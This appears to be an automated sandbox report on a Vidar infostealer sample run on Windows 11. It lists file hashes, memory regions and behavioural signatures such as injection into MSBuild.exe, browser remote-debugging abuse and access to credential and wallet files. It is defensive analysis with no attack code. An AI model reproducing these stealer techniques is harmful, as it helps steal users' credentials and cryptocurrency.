C:\Users\Admin\AppData\Local\Temp\RES732C.tmp

MD5 d77f5ff08ccbc25bf9bb42761b94e7f9
SHA1 9b8bcdc7b692358b22c8ac3c1facab7e4c86f8ed
SHA256 7fb70e544e4d4be22ebcdd94e7fb8e0ec2eeed6e5474a73302a1e3e0adedc46c
SHA512 30da3a110ad087d5b17d1876c865d356257772daa518623f1b66d1aa65a95bc8e86d08135e30bc566d765e2f612d57c2a6d94fe06f732671de4c88594fde0b18

C:\Users\Admin\AppData\Local\Temp\3sqz0ne1\3sqz0ne1.dll

MD5 c9502303989cda40d7d8a516662853bb
SHA1 aba250755699cd1e8438f17d80d11168e4e5b7f2
SHA256 6e5507af17a40fac4faa9f25db52a0d699456c699e8215e5f32c8c678d131c8b
SHA512 321462ba3f204fb2298895998aefa3ebf5dfecf62bb99d9064008f2cc4bb577abdceaf6b597d5f73d70135261c7bb6628f5d830fecd6fce58699f84cdb1effc3

memory/5684-183-0x000001AFA8230000-0x000001AFA8238000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp61F6.tmp

MD5 40a13f9b39d6d3e649cf21f1b47da9ad
SHA1 b03d7f8ad2f90c61063e54cf45c01677f6a86942
SHA256 3cd5effba4bc90a72efe5e97609c962dd91d5b50e41f13bfa0f5606d322a5278
SHA512 7e821747ca4db1654c3ce01e31bc0bddfeb092464b0dea9aa8d5370c01dc0fc141fedcd168553c502a417b7703ced120ff53448c4135338cdff937a6f5f9cd5b

memory/4128-194-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-380-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-383-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-387-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-388-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-389-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-393-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-394-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-398-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-399-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-400-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-401-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-404-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-408-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-409-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-410-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-414-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-418-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-419-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-420-0x0000000000400000-0x0000000000439000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 08a98ed9e14066a563da4f73f185776e
SHA1 782731b0e39a3e6e89aefc6021909f24e5ae4bb2
SHA256 c3c670af75701aed6877ef516026d7291d38c35f29447a11be18b18e71254ab4
SHA512 ee2c553690e0480d40a38fcde06e3c4ee1d892cff2fc255938d32e5f0af771a6419ec19e6120ed921dabce8c4f4f05cb3d9ddd9eeb8cefbb2641db134a59f4fc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 36326fcbb6119326e7c8aa24c4156548
SHA1 ed128a9727e1d58b970e732b8c66fc827b18372b
SHA256 ac41191dcaf36d91f7bd9a077bc59b1bd7218daa27b263d1da6a548f58264987
SHA512 ed5c79f1edc0c65a1cf0ace91ea5538245c1569c3b25ae3cdf033ffcb55d37e7b09baec36570e82fc1525c24224cea08a53abab7e52db6376f48f099ffefd1fe

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 6a453e9c77c3e7668179bc499e5dde17
SHA1 4f8a566f5826525ecadd1bf0a74e25088d1071c0
SHA256 802682aaecc1a4e1c0d713ac9b3d6a6d43f10f7f2ccfc59871f9fd9856fa23f1
SHA512 ecd07a7f5f40d919303f005f43ff4fbed915fcc53a21b2e0cdd7e0d4700c8c122bba34a5b37f67720919ecade456de91139a02c82efddf527dcee3b209232d8a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\b2667d68-3d19-4df9-ab2b-65f3cd37f941.tmp

MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\0fc6f7c5-ba86-48f0-8560-dff2f42d25af\index-dir\the-real-index

MD5 511104f39140f1055bf70ff41657eefb
SHA1 a9f1a8a91e54edb2b8e1d386d6f4acfe24016b12
SHA256 64d803b3b0b846aebce7e9682d84e312ebc1440cb173fc4d1364a9e75dece58c
SHA512 f744a512c3b2e030d6a387b4c961a79c5562c0924746220a02324ef6b5a9ce1b58d2926a2515b61c76798a7db46a5c5515072bd6deca30cffd6cc2fe5294f381

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\0fc6f7c5-ba86-48f0-8560-dff2f42d25af\index-dir\the-real-index~RFe5798c5.TMP

MD5 bcc8812ad0f8f37dd7151537c2c32f8e
SHA1 89d561bd857bbf2f02ae44253b2181431cc85871
SHA256 d2a8d6ca44819eb7909bedec7f74f68ae1387866adcedebd320d31f9a1b73d56
SHA512 72d6a39f18058bcdd3c2ee447fe13bcb43210aeeeca1b2e625e6407e86013e5da974c8f8a64a1c2224ef793c552b46fe458b1c9114f4b2bd81b96a9a951c7eeb

memory/4128-1018-0x0000000000400000-0x0000000000439000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

MD5 cdaa77769ee24f4183ebab68c3e00ed5
SHA1 a578c607b1e8b3307d52d53f61e80c4e392b5e52
SHA256 178e41f0088fb20bd0069622e91cac6817fc3811baf6c5c95c5e03fc01a4dd6c
SHA512 4166e3eb55ddd445cbb361bd4d97b347f6cd2bc2f2fbee9d338e1f10ebfddfa37c45e3446767321ffb987272bfd8581ade8ea364d98dfeef34b86efb44a06cc3

memory/4128-1022-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1025-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1027-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1028-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1031-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1032-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1033-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1034-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1035-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1036-0x0000000000400000-0x0000000000439000-memory.dmp

C:\ProgramData\2nopz\sj5pp8

MD5 8900ece47d3bd26ea398d48fecb34fa8
SHA1 b393c8fdafb3a733883caf02d347f22e8e19285a
SHA256 94009c06a22ae20b38a9bfeccd9aba3ad976a93531aebd36cb481ebf28eb32ea
SHA512 ba5e26519249915e7b5b55c371bc8e582d9da74b90790b5ce2f0cb4fa399a520a780dbe0e31d126c661bf006fbcd0fe83cb394a82217d6aacd574d94a1355548

memory/4128-1040-0x0000000000400000-0x0000000000439000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2025-06-30 17:46

Reported

2025-06-30 17:48

Platform

win11-20250619-en

Max time kernel

130s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe"

Signatures

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Vidar

stealer vidar

Vidar family

vidar

Uses browser remote debugging

credential_access stealer
Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4196 set thread context of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\SystemTemp C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File opened for modification C:\Windows\SystemTemp C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Browser Information Discovery

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Delays execution with timeout.exe

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133957791962702241" C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3625340254-1625357543-1797847221-1000\{BF6621F9-9CEB-42B6-BE0A-D50EA0E53548} C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4196 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4216 wrote to memory of 5064 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4216 wrote to memory of 5064 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4216 wrote to memory of 5032 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 4216 wrote to memory of 5032 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 5064 wrote to memory of 5060 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5060 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
